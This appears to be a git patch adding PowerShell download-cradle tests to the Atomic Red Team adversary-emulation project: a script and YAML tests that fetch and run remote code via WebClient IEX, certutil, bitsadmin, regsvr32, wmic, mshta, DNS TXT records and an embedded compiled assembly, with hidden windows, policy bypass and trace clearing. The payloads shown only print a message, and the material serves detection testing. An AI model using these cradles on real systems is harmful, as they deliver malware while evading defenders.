100755 atomics/T1086/payloads/test.xml create mode 100644 atomics/T1086/payloads/test.xsl diff --git a/atomics/T1086/Invoke-DownloadCradle.ps1 b/atomics/T1086/Invoke-DownloadCradle.ps1 new file mode 100755 index 00000000..3f80b717 --- /dev/null +++ b/atomics/T1086/Invoke-DownloadCradle.ps1 @@ -0,0 +1,295 @@ +<# +.SYNOPSIS + Invoke-DownloadCradle.ps1 runs several single liner Download cradles. + + Name: Invoke-DownloadCradle.ps1 + Version: 0.21 + Author: Matt Green (@mgreen27) + Original: https://github.com/mgreen27/mgreen27.github.io + +.DESCRIPTION + Invoke-DownloadCradle.ps1 is used to generate Network and Endpoint artefacts for detection work. + The script runs several single liner Download cradles and is configurable to spawn a new child process per cradle. + The script will also clear registry and IE cache prior to the relevant Download Cradle. + +.NOTES + Requires ISE mode if wanting visual confirmation of cradle success - i.e what testing stuff. + + Currently manual configuration below. Please configure: + 1. $TLS = 1 to use TLS, $TLS = 0 to use http + 2. Configure $URL settings. + +.TODO + Add in switch for cradle by number and associated help. + Add in array input for integration with tools like invoke-cradlecrafter +#> + +# Change this setting for http and https testing. +$TLS = 1 + +# Null for no sleep between cradles. 10seconds otherwise +$Sleep=$True + + +# Add http server details here +If ($TLS -eq 0){ + $Url = @( + "http://192.168.7.136/test.ps1", # Basic Powershell Test script + "test.dfir.com.au", # DNS text test - Powershell Test script base64 encoded in DNS txt field + "http://192.168.7.136/test.xml", # Powershell embedded command + "http://192.168.7.136/test.sct", # Powershell embedded scriptlet + "http://192.168.7.136/mshta.sct", # Powershell embedded scriptlet + "http://192.168.7.136/test.xsl" # Powershell embedded extensible Stylesheet Language + ) +} +ElseIf ($TLS -eq 1){ + # Add https server details here... remember: it is not advised to run other peoples things form the internet! + $Url = @( + "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1", # Basic Powershell Test script + "test.dfir.com.au", # DNS text test - Powershell Test script base64 encoded in DNS txt field + "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml", # Powershell embedded command + "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.sct", # Powershell embedded scriptlet + "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct", # Powershell embedded scriptlet + "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xsl" # Powershell embedded extensible Stylesheet Language + ) +} + +# Setting randomly generated $Outfile for payloads that hit disk +$Random = -join ((48..57) + (97..122) | Get-Random -Count 32 | % {[char]$_}) +$Outfile = "C:\Windows\Temp\" + $Random + + +function Invoke-DownloadCradle +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)][String]$Type, + [Parameter(Mandatory = $True)][String]$Command + ) + + # Clear cache and other relevant files + Remove-Item -path HKLM:\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 -Recurse -Force -ErrorAction SilentlyContinue + Remove-Item -path HKLM:\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS -Recurse -Force -ErrorAction SilentlyContinue + Remove-Item -path "$env:USERPROFILE\AppData\Local\Microsoft\Windows\Temporary Internet Files\*" -Recurse -Force -ErrorAction SilentlyContinue + Remove-Item -path "$env:USERPROFILE\AppData\Local\Microsoft\Windows\INetCache\*" -Recurse -Force -ErrorAction SilentlyContinue + Remove-Item -path "$env:USERPROFILE\AppData\Local\Temp\*" -Recurse -Force -ErrorAction SilentlyContinue + Remove-Item -path "$env:USERPROFILE\AppData\Roaming\Microsoft\Office\*" -Recurse -Force -ErrorAction SilentlyContinue + + if (Test-path $Outfile){Remove-Item $Outfile -Force} + + If ($Type -eq "Powershell"){ + Try{powershell -exec bypass -windowstyle hidden -noprofile $Command} + Catch{$_} + } + ElseIf ($Type -eq "Regsvr32"){ + Try{ + powershell -exec bypass -windowstyle hidden -noprofile $Command + $(Get-Date -Format s) + " Success - see popup window!`n" + } + Catch{$_} + } + ElseIf ($Type -eq "CMD"){ + Try{ + cmd /c $Command + $(Get-Date -Format s) + " Success - see popup window!`n" + } + Catch{$_} + } + + If($Sleep){Start-Sleep -s 10} + + [gc]::Collect() +} + + + +# check if running in Powershell ISE as required +if($host.Name -eq 'ConsoleHost') { + Write-Host -ForegroundColor Yellow "Invoke-DownloadCradle: Run in Powershell ISE for interactive mode`n" + "Sleeping for 10 seconds to allow quit" + Start-Sleep -s 10 +} + +# Test for Elevated privilege if required +If (!(([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))){ + Write-Host -ForegroundColor Red "Exiting Invoke-DownloadCradle: Elevated privilege required to remove cache files" + exit +} + + +clear +Write-Host -ForegroundColor Cyan "Testing Download Cradle methods...`n" + + +# Setting proxy +(New-Object Net.WebClient).Proxy=[Net.WebRequest]::GetSystemWebProxy() +(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials + + +"Powershell WebClient DownloadString" +$Command = "IEX (New-Object Net.WebClient).DownloadString(`'" + $Url[0] + "`')" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell WebClient DownloadData" +$Command = "[System.Text.Encoding]::ASCII.GetString((New-Object Net.WebClient).DownloadData(`'" + $Url[0] + "`')) | IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell WebClient OpenRead" +$Command = "`$sr=New-Object System.IO.StreamReader((New-Object Net.WebClient).OpenRead(`'" + $Url[0] + "`'));`$res=`$sr.ReadToEnd();`$sr.Close();`$res | IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell WebClient DownloadFile" +$Command = "(New-Object Net.WebClient).DownloadFile(`'" + $Url[0] + "`'," + "`'" + $Outfile + "`'); GC `'" + $OutFile + "`' | IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell Invoke-WebRequest" +If ($PSVersionTable.PSVersion.Major -gt 2){ + $Command = "(`'" + $Url[0] + "`'|ForEach-Object{(IWR (Item Variable:\_).Value)}) | IEX" + Invoke-DownloadCradle -Type Powershell -Command $Command +} +Else{"`tMethod supported on Powershell 3.0 and above only`n"} + + +"Powershell Invoke-RestMethod" +If ($PSVersionTable.PSVersion.Major -gt 2){ + $Command = "(`'" + $Url[0] + "`'|ForEach{(IRM (Variable _).Value)}) | IEX" + Invoke-DownloadCradle -Type Powershell -Command $Command +} +Else{"`tMethod supported on Powershell 3.0 and above only`n"} + + +"Powershell Excel COM object" +$Command = "`$comExcel=New-Object -ComObject Excel.Application;While(`$comExcel.Busy){Start-Sleep -Seconds 1}`$comExcel.DisplayAlerts=`$False;`$Null=`$comExcel.Workbooks.Open(`'" + $Url[0] + "`');While(`$comExcel.Busy){Start-Sleep -Seconds 1}IEX((`$comExcel.Sheets.Item(1).Range('A1:R'+`$comExcel.Sheets.Item(1).UsedRange.Rows.Count).Value2|?{`$_})-Join'`n');`$comExcel.Quit();[Void][System.Runtime.InteropServices.Marshal]::ReleaseComObject(`$comExcel)" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell Word COM object" +$Command = "`$comWord=New-Object -ComObject Word.Application;While(`$comWord.Busy){Start-Sleep -Seconds 1}`$comWord.Visible=`$False;`$doc=`$comWord.Documents.Open(`'" + $Url[0] + "`');While(`$comWord.Busy){Start-Sleep -Seconds 1}IEX(`$doc.Content.Text);`$comWord.Quit();[Void][System.Runtime.InteropServices.Marshal]::ReleaseComObject(`$comWord)" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell Internet Explorer COM object" +$Command = "`$comIE=New-Object -ComObject InternetExplorer.Application;While(`$comIE.Busy){Start-Sleep -Seconds 1}`$comIE.Visible=`$False;`$comIE.Silent=`$True;`$comIE.Navigate(`'" + $Url[0] + "`');While(`$comIE.Busy){Start-Sleep -Seconds 1}IEX(`$comIE.Document.Body.InnerText);`$comIE.Quit();[Void][System.Runtime.InteropServices.Marshal]::ReleaseComObject(`$comIE)" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell MsXml COM object" # Not proxy aware removing cache although does not appear to write to those locations +$Command = "`$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;`$comMsXml.Open('GET',`'" + $Url[0] + "`',`$False);`$comMsXml.Send();IEX `$comMsXml.ResponseText" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell WinHttp COM object" # Not proxy aware removing cache although does not appear to write to those locations +$Command = "`$comWinHttp=new-object -com WinHttp.WinHttpRequest.5.1;`$comWinHttp.open('GET',`'" + $Url[0] + "`',`$false);`$comWinHttp.send();IEX `$comWinHttp.responseText" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell HttpWebRequest" # Not proxy aware +Try{(New-Object System.Net.HttpWebRequest).Credentials=[System.Net.HttpWebRequest]::DefaultNetworkCredentials} +Catch{} +$Command = "`$sr=New-Object IO.StreamReader([System.Net.HttpWebRequest]::Create(`'" + $Url[0] + "`').GetResponse().GetResponseStream());`$res=`$sr.ReadToEnd();`$sr.Close();IEX `$res" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell XML requests" +$Command = "`$Xml = (New-Object System.Xml.XmlDocument);`$Xml.Load(`'" + $Url[2] + "`');`$Xml.command.a.execute | IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell Inline C#" +$Command="Add-Type 'using System.Net;public class Class{public static string Method(string url){return (new WebClient()).DownloadString(url);}}';IEX ([Class]::Method(`'" + $Url[0] + "`'))" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell Compiled C#" +$Command="[Void][System.Reflection.Assembly]::Load([Byte[]](@(77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184)+@(0)*7+@(64)+@(0)*35+@(128,0,0,0,14,31,186,14,0,180,9,205,33,184,1,76,205,33,84,104,105,115,32,112,114,111,103,114,97,109,32,99,97,110,110,111,116,32,98,101,32,114,117,110,32,105,110,32,68,79,83,32,109,111,100,101,46,13,13,10,36)+@(0)*7+@(80,69,0,0,76,1,3,0,6,190,153,90)+@(0)*8+@(224,0,2,33,11,1,8,0,0,4,0,0,0,6,0,0,0,0,0,0,110,35,0,0,0,32,0,0,0,64,0,0,0,0,64,0,0,32,0,0,0,2,0,0,4)+@(0)*7+@(4)+@(0)*8+@(128,0,0,0,2,0,0,0,0,0,0,3,0,64,133,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16)+@(0)*11+@(32,35,0,0,75,0,0,0,0,64,0,0,160,2)+@(0)*19+@(96,0,0,12)+@(0)*52+@(32,0,0,8)+@(0)*11+@(8,32,0,0,72)+@(0)*11+@(46,116,101,120,116,0,0,0,116,3,0,0,0,32,0,0,0,4,0,0,0,2)+@(0)*14+@(32,0,0,96,46,114,115,114,99,0,0,0,160,2,0,0,0,64,0,0,0,4,0,0,0,6)+@(0)*14+@(64,0,0,64,46,114,101,108,111,99,0,0,12,0,0,0,0,96,0,0,0,2,0,0,0,10)+@(0)*14+@(64,0,0,66)+@(0)*16+@(80,35,0,0,0,0,0,0,72,0,0,0,2,0,5,0,120,32,0,0,168,2,0,0,1)+@(0)*55+@(19,48,2,0,17,0,0,0,1,0,0,17,0,115,3,0,0,10,2,40,4,0,0,10,10,43,0,6,42,30,2,40,5,0,0,10,42,0,0,0,66,83,74,66,1,0,1,0,0,0,0,0,12,0,0,0,118,50,46,48,46,53,48,55,50,55,0,0,0,0,5,0,108,0,0,0,12,1,0,0,35,126,0,0,120,1,0,0,204,0,0,0,35,83,116,114,105,110,103,115,0,0,0,0,68,2,0,0,8,0,0,0,35,85,83,0,76,2,0,0,16,0,0,0,35,71,85,73,68,0,0,0,92,2,0,0,76,0,0,0,35,66,108,111,98)+@(0)*7+@(2,0,0,1,71,21,2,0,9,0,0,0,0,250,1,51,0,22,0,0,1,0,0,0,4,0,0,0,2,0,0,0,2,0,0,0,1,0,0,0,5,0,0,0,2,0,0,0,1,0,0,0,1,0,0,0,2,0,0,0,0,0,10,0,1,0,0,0,0,0,6,0,43,0,36,0,6,0,95,0,63,0,6,0,127,0,63,0,10,0,179,0,168,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,16,0,21,0,0,0,5,0,1,0,1,0,80,32,0,0,0,0,150,0,50,0,10,0,1,0,109,32,0,0,0,0,134,24,57,0,15,0,2,0,0,0,1,0,164,0,17,0,57,0,19,0,25,0,57,0,15,0,33,0,57,0,15,0,33,0,189,0,24,0,9,0,57,0,15,0,46,0,11,0,33,0,46,0,19,0,42,0,29,0,4,128)+@(0)*16+@(157,0,0,0,2)+@(0)*11+@(1,0,27,0,0,0,0,0,2)+@(0)*11+@(1,0,36)+@(0)*8+@(60,77,111,100,117,108,101,62,0,99,114,97,100,108,101,46,100,108,108,0,67,108,97,115,115,0,109,115,99,111,114,108,105,98,0,83,121,115,116,101,109,0,79,98,106,101,99,116,0,77,101,116,104,111,100,0,46,99,116,111,114,0,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,67,111,109,112,105,108,101,114,83,101,114,118,105,99,101,115,0,67,111,109,112,105,108,97,116,105,111,110,82,101,108,97,120,97,116,105,111,110,115,65,116,116,114,105,98,117,116,101,0,82,117,110,116,105,109,101,67,111,109,112,97,116,105,98,105,108,105,116,121,65,116,116,114,105,98,117,116,101,0,99,114,97,100,108,101,0,117,114,108,0,83,121,115,116,101,109,46,78,101,116,0,87,101,98,67,108,105,101,110,116,0,68,111,119,110,108,111,97,100,83,116,114,105,110,103,0,0,3,32,0,0,0,0,0,221,77,161,112,179,108,67,66,138,95,4,222,69,250,124,72,0,8,183,122,92,86,25,52,224,137,4,0,1,14,14,3,32,0,1,4,32,1,1,8,4,32,1,14,14,3,7,1,14,8,1,0,8,0,0,0,0,0,30,1,0,1,0,84,2,22,87,114,97,112,78,111,110,69,120,99,101,112,116,105,111,110,84,104,114,111,119,115,1,0,0,0,72,35)+@(0)*8+@(0,0,94,35,0,0,0,32)+@(0)*22+@(80,35)+@(0)*8+@(95,67,111,114,68,108,108,77,97,105,110,0,109,115,99,111,114,101,101,46,100,108,108,0,0,0,0,0,255,37,0,32,64)+@(0)*155+@(1,0,16,0,0,0,24,0,0,128)+@(0)*14+@(1,0,1,0,0,0,48,0,0,128)+@(0)*14+@(1,0,0,0,0,0,72,0,0,0,88,64,0,0,68,2)+@(0)*8+@(0,0,68,2,52,0,0,0,86,0,83,0,95,0,86,0,69,0,82,0,83,0,73,0,79,0,78,0,95,0,73,0,78,0,70,0,79,0,0,0,0,0,189,4,239,254,0,0,1)+@(0)*16+@(0,63)+@(0)*7+@(4,0,0,0,2)+@(0)*14+@(0,68,0,0,0,1,0,86,0,97,0,114,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,0,0,36,0,4,0,0,0,84,0,114,0,97,0,110,0,115,0,108,0,97,0,116,0,105,0,111,0,110)+@(0)*7+@(176,4,164,1,0,0,1,0,83,0,116,0,114,0,105,0,110,0,103,0,70,0,105,0,108,0,101,0,73,0,110,0,102,0,111,0,0,0,128,1,0,0,1,0,48,0,48,0,48,0,48,0,48,0,52,0,98,0,48,0,0,0,44,0,2,0,1,0,70,0,105,0,108,0,101,0,68,0,101,0,115,0,99,0,114,0,105,0,112,0,116,0,105,0,111,0,110,0,0,0,0,0,32,0,0,0,48,0,8,0,1,0,70,0,105,0,108,0,101,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,11,0,1,0,73,0,110,0,116,0,101,0,114,0,110,0,97,0,108,0,78,0,97,0,109,0,101,0,0,0,99,0,114,0,97,0,100,0,108,0,101,0,46,0,100,0,108,0,108,0,0,0,0,0,40,0,2,0,1,0,76,0,101,0,103,0,97,0,108,0,67,0,111,0,112,0,121,0,114,0,105,0,103,0,104,0,116,0,0,0,32,0,0,0,64,0,11,0,1,0,79,0,114,0,105,0,103,0,105,0,110,0,97,0,108,0,70,0,105,0,108,0,101,0,110,0,97,0,109,0,101,0,0,0,99,0,114,0,97,0,100,0,108,0,101,0,46,0,100,0,108,0,108,0,0,0,0,0,52,0,8,0,1,0,80,0,114,0,111,0,100,0,117,0,99,0,116,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48,0,0,0,56,0,8,0,1,0,65,0,115,0,115,0,101,0,109,0,98,0,108,0,121,0,32,0,86,0,101,0,114,0,115,0,105,0,111,0,110,0,0,0,48,0,46,0,48,0,46,0,48,0,46,0,48)+@(0)*360+@(32,0,0,12,0,0,0,112,51)+@(0)*502));([Class]::Method(`'" + $Url[0] + "`')) | IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Powershell BITS transfer" +If ($PSVersionTable.PSVersion.Major -gt 2){ + $Command = "Start-BitsTransfer `'" + $Url[0] + "`' `'" + $Outfile + "`'; GC `'" + $OutFile + "`'|IEX" + Invoke-DownloadCradle -Type Powershell -Command $Command +} +Else{Write-Host -ForegroundColor Yellow "`tMethod supported on Powershell 3.0 and above only`n"} + + +"Bitsadmin.exe" +$Command = "`$NULL=bitsadmin /transfer /Download `'" + $Url[0] + "`' `'" + $Outfile + "`'; GC `'" + $OutFile + "`' | IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"CertUtil.exe" +$Command = "`$NULL=certutil /urlcache /f `'" + $Url[0] + "`' `'" + $Outfile + "`'; GC `'" + $OutFile + "`' | IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +"Regsvr32.exe Squiblydoo" +$Command = "`$temp=`'" + $Url[3] + "`';regsvr32.exe /s /u /i:`$temp scrobj.dll" +Invoke-DownloadCradle -Type Regsvr32 -Command $Command + + +"wmic.exe Squiblytwo" +$Command = "wmic.exe os get /FORMAT:`"" + $Url[5] + "`"" +Invoke-DownloadCradle -Type CMD -Command $Command + + +"mshta.exe" +$command = 'mshta.exe javascript:a=GetObject("script:' + $Url[4] + '").Exec();close()' +Invoke-DownloadCradle -Type CMD -Command $Command + + +"DNS txt record nslookup" +$Command = "`$b64=(IEX(nslookup -q=txt " + $url[1] + " 2>`$null)[-1]);[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$b64))| IEX" +Invoke-DownloadCradle -Type Powershell -Command $Command + + +# deleting temp file +if (Test-path $Outfile){Remove-Item $Outfile -Force} + + +<### Additional goodies +# .Net Cradles are effectively the same as Powershell WebClient and I found less cross compatibility. Same artifacts +".Net WebClient DownloadString" +([System.Net.WebClient]::new()).DownloadString($Url[0]) | IEX + +".Net WebClient DownloadData" +[System.Text.Encoding]::ASCII.GetString(([System.Net.WebClient]::new()).DownloadData($Url[0])) | IEX + +".Net WebClient DownloadData" +$or='OpenRead';$sr=.(GCM N*-O*)IO.StreamReader(([System.Net.WebClient]::new()).$or($url[0]));$res=$sr.ReadToEnd();$sr.Close();IEX $res + + +# Custom User-Agent configuration for testing detections +$Url = "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1" + +$webclient=(New-Object System.Net.WebClient) +$webclient.Proxy=[System.Net.WebRequest]::GetSystemWebProxy() +$webclient.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials + +$webClient.Headers.Add("User-Agent", "ATOMIC-RED-TEAM") +$webclient.DownloadString($Url) | Out-Null;"ATOMIC-RED-TEAM completed" + +$webClient.Headers.Add("User-Agent", "Microsoft BITS/ATOMIC-RED-TEAM") +$webclient.DownloadString($Url) | Out-Null;"Fake Microsoft BITS completed" + +$webClient.Headers.Add("User-Agent", "Microsoft-CryptpAPI/ATOMIC-RED-TEAM") +$webclient.DownloadString($Url) | Out-Null;"Fake Microsoft-CryptoAPI completed" + +$webClient.Headers.Add("User-Agent", "CertUtil URL Agent ATOMIC-RED-TEAM") +$webclient.DownloadString($Url) | Out-Null;"Fake CertUtil URL Agent completed" + +$webClient.Headers.Add("User-Agent", "Mozilla/X.X (Windows NT; Windows NT X.X; en-AU) WindowsPowerShell/ATOMIC-RED-TEAM") +$webclient.DownloadString($Url) | Out-Null;"Fake Powershell WebRequest completed" + +$webClient.Headers.Add("User-Agent", "Mozilla/\* (compatible; MSIE \X; Windows NT \X; Win64; x64; Trident/ATOMIC-RED-TEAM; .NET\X; .NET CLR \X)") +$webclient.DownloadString($Url) | Out-Null;"Fake .NET User-Agent completed" + + +# Execution +powershell -exec bypass -windowstyle hidden -noprofile $Command +cmd /c +#> diff --git a/atomics/T1086/T1086.yaml b/atomics/T1086/T1086.yaml index 3943b81e..d3e74187 100644 --- a/atomics/T1086/T1086.yaml +++ b/atomics/T1086/T1086.yaml @@ -115,3 +115,75 @@ atomic_tests: name: command_prompt command: | New-LocalUser -FullName '${full_name}' -Name '${user_name}' -Password ${password} ‑Description '${description}' + +- name: Powershell MsXml COM object + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Powershell MsXml COM object. + Not proxy aware removing cache although does not appear to write to those locations + + supported_platforms: + - windows + + input_arguments: + url: + description: url of payload to execute + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1 + + executor: + name: powershell + command: | + powershell.exe -exec bypass -windowstyle hidden -noprofile “$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open(‘GET’,’${url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText” + +- name: Powershell XML requests + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Powershell xml download request + + supported_platforms: + - windows + + input_arguments: + url: + description: url of payload to execute + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml + + executor: + name: powershell + command: | + "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('${url}');$Xml.command.a.execute | IEX" + +- name: Powershell invoke mshta.exe download + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Powershell invoke mshta to download payload + + supported_platforms: + - windows + + input_arguments: + url: + description: url of payload to execute + type: url + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct + + executor: + name: powershell + command: | + "C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject("script:${url}").Exec();close()" + +- name: Powershell Invoke-DownloadCradle + description: | + Provided by https://github.com/mgreen27/mgreen27.github.io + Invoke-DownloadCradle is used to generate Network and Endpoint artifacts. + + supported_platforms: + - windows + + executor: + name: manual + steps: | + 1. Open Powershell_ise as a Privileged Account + 2. Invoke-DownloadCradle.ps1 diff --git a/atomics/T1086/payloads/mshta.sct b/atomics/T1086/payloads/mshta.sct new file mode 100755 index 00000000..597f9d51 --- /dev/null +++ b/atomics/T1086/payloads/mshta.sct @@ -0,0 +1,33 @@ + + + + + + + + + + + + + diff --git a/atomics/T1086/payloads/test.ps1 b/atomics/T1086/payloads/test.ps1 new file mode 100755 index 00000000..b60c346e --- /dev/null +++ b/atomics/T1086/payloads/test.ps1 @@ -0,0 +1,2 @@ +# Test download cradle +write-host -ForegroundColor Cyan "$(Get-Date -Format s) Download Cradle test success!`n" diff --git a/atomics/T1086/payloads/test.sct b/atomics/T1086/payloads/test.sct new file mode 100755 index 00000000..1dd1634b --- /dev/null +++ b/atomics/T1086/payloads/test.sct @@ -0,0 +1,14 @@ + + + + + + + diff --git a/atomics/T1086/payloads/test.xml b/atomics/T1086/payloads/test.xml new file mode 100755 index 00000000..97b9f6f0 --- /dev/null +++ b/atomics/T1086/payloads/test.xml @@ -0,0 +1,6 @@ + + + + write-host -ForegroundColor Cyan "$(Get-Date -Format s) Download Cradle test success!`n" + + diff --git a/atomics/T1086/payloads/test.xsl b/atomics/T1086/payloads/test.xsl new file mode 100644 index 00000000..fce3d0a5 --- /dev/null +++ b/atomics/T1086/payloads/test.xsl @@ -0,0 +1,11 @@ + + + + + + From e9852d00b45e1790fb552930b774ee0fbfa73bdf Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Mon, 9 Jul 2018 16:52:30 +0000 Subject: [PATCH 91/91] Generate docs from job=validate_atomics_generate_docs branch=T1086-mhaag --- atomics/T1086/T1086.md | 81 ++++++++++++++++++++++++++++++++++++++++ atomics/index.md | 4 ++ atomics/windows-index.md | 4 ++ 3 files changed, 89 insertions(+) diff --git a/atomics/T1086/T1086.md b/atomics/T1086/T1086.md index 8cf132dd..fff2ae14 100644 --- a/atomics/T1086/T1086.md +++ b/atomics/T1086/T1086.md @@ -34,6 +34,14 @@ Remote Support: Yes - [Atomic Test #6 - PowerShell Add User](#atomic-test-6---powershell-add-user) +- [Atomic Test #7 - Powershell MsXml COM object](#atomic-test-7---powershell-msxml-com-object) + +- [Atomic Test #8 - Powershell XML requests](#atomic-test-8---powershell-xml-requests) + +- [Atomic Test #9 - Powershell invoke mshta.exe download](#atomic-test-9---powershell-invoke-mshtaexe-download) + +- [Atomic Test #10 - Powershell Invoke-DownloadCradle](#atomic-test-10---powershell-invoke-downloadcradle) +
    @@ -142,3 +150,76 @@ Using PS 5.1, add a user via CLI New-LocalUser -FullName '${full_name}' -Name '${user_name}' -Password ${password} ‑Description '${description}' ```
    +
    + +## Atomic Test #7 - Powershell MsXml COM object +Provided by https://github.com/mgreen27/mgreen27.github.io +Powershell MsXml COM object. +Not proxy aware removing cache although does not appear to write to those locations + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| url | url of payload to execute | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1| + +#### Run it with `powershell`! +``` +powershell.exe -exec bypass -windowstyle hidden -noprofile “$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open(‘GET’,’${url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText” +``` +
    +
    + +## Atomic Test #8 - Powershell XML requests +Provided by https://github.com/mgreen27/mgreen27.github.io +Powershell xml download request + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| url | url of payload to execute | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.xml| + +#### Run it with `powershell`! +``` +"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -windowstyle hidden -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('${url}');$Xml.command.a.execute | IEX" +``` +
    +
    + +## Atomic Test #9 - Powershell invoke mshta.exe download +Provided by https://github.com/mgreen27/mgreen27.github.io +Powershell invoke mshta to download payload + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| url | url of payload to execute | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/mshta.sct| + +#### Run it with `powershell`! +``` +"C:\Windows\system32\cmd.exe" /c "mshta.exe javascript:a=GetObject("script:${url}").Exec();close()" +``` +
    +
    + +## Atomic Test #10 - Powershell Invoke-DownloadCradle +Provided by https://github.com/mgreen27/mgreen27.github.io +Invoke-DownloadCradle is used to generate Network and Endpoint artifacts. + +**Supported Platforms:** Windows + + +#### Run it with these steps! +1. Open Powershell_ise as a Privileged Account +2. Invoke-DownloadCradle.ps1 + + +
    diff --git a/atomics/index.md b/atomics/index.md index 75670230..61ab9c2f 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -454,6 +454,10 @@ - Atomic Test #4: Mimikatz - Cradlecraft PsSendKeys [windows] - Atomic Test #5: Invoke-AppPathBypass [windows] - Atomic Test #6: PowerShell Add User [windows] + - Atomic Test #7: Powershell MsXml COM object [windows] + - Atomic Test #8: Powershell XML requests [windows] + - Atomic Test #9: Powershell invoke mshta.exe download [windows] + - Atomic Test #10: Powershell Invoke-DownloadCradle [windows] - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] diff --git a/atomics/windows-index.md b/atomics/windows-index.md index d266deb2..83d3cdbf 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -374,6 +374,10 @@ - Atomic Test #4: Mimikatz - Cradlecraft PsSendKeys [windows] - Atomic Test #5: Invoke-AppPathBypass [windows] - Atomic Test #6: PowerShell Add User [windows] + - Atomic Test #7: Powershell MsXml COM object [windows] + - Atomic Test #8: Powershell XML requests [windows] + - Atomic Test #9: Powershell invoke mshta.exe download [windows] + - Atomic Test #10: Powershell Invoke-DownloadCradle [windows] - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows]

